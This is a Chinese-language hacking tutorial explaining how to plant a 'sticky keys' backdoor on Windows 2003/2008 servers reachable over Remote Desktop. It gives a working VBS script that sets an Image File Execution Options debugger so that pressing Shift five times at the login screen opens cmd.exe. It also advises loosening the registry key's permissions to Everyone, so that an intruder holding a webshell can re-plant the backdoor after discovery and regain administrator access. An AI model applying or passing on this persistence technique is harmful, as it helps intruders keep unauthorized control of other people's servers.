后门和木马有什么区别?
我认为严格意义没有区别的,细微的区分是有的。有一个细微区分先讲一下,这两个词出来早晚不同。老一代黑客,不屑于黑个人机器(当时个人机网速太慢),认为服务器才是黑客的挑战极限。新一代黑客的观点截然相反,定点个人机入侵才是最大难点(现在你懂的,经济利益至上)。
当然,约定俗成,在服务器上装的木马算是后门,在个人机器上装的后门算是木马,这样绕的弯子你明白了吗?
总之,针对服务器的权限维持可以叫后门,针对个人机器的权限维持可以叫木马。
这一节我来讲一下当今时代在3389端口开放的win2003服务器里最流行的粘滞键后门吧。
什么是粘滞键?
在win2003系统的3389端口登陆界面,你连续按下5次shif键,就会出现如下图所示的界面。
在注册表中和这5下shif键呼应的是 c:/windows/system32下的sethc.exe。
具体的注册表键值是:
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Image File Execution Options/sethc.exe
如果我们把sethc.exe改成别的exe,好比你的木马,自然而然就成了一个后门了。
讲到这,似乎感觉后门又比木马高档了一下,其实不是的,再补充第二个细微区分,应当说后门是随时给你留了一道门,让你能随时装一个木马。
如果我们改变这个注册表键值,改成别的exe,黑客界的专业名词叫镜像劫持,我们的粘滞键后门就留好了。当然,手工可以改,我写了一个简单的vbs也可以改,代码如下:
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.RegWrite "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exedebugger",WScript.CreateObject("WScript.shell").ExpandEnvironmentStrings("%SystemRoot%")&"system32cmd.exe","REG_SZ"
我们把上边的代码保存成1.vbs,双击运行,或命令行下运行cscript 1.vbs就可以了。
我们下次再用mstsc登陆这台2003服务器,再按5下shif键会出来什么结果呢?会弹出一个cmd命令行界面。
这样的话,就是我家大门常打开了。
一般的黑客教程写到这就得意洋洋了,其实这个后门留得不完善,我们来查看一下注册表里的:
HKLM/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Image File Execution Options/sethc.exe/debugger
你会发现只有管理员以上权限才有办法改这个注册表键值。
我们可不可以再添加一个everyone权限,使得最低权限都有办法改这个注册表键值呢?
当然可以。
修改了以后有什么用?
假设你这个后门被发现了,你还有一个Webshell存在,你可以在Webshell权限下增加粘滞键后门的,你的管理员权限又回来了。
最后我再补充一点,放大镜、讲述人这些exe可以同理替换的,不过不是5次shift了,是win+u键了,并且你再深入下去,这个后门就不仅仅是针对wind2003了,wind2008也可以。
我没有深入,就不写这个放大镜和讲述人的黑客后门教程了。文章太长,总是没有人耐心看完。如果你能看完相信对你会收获不少。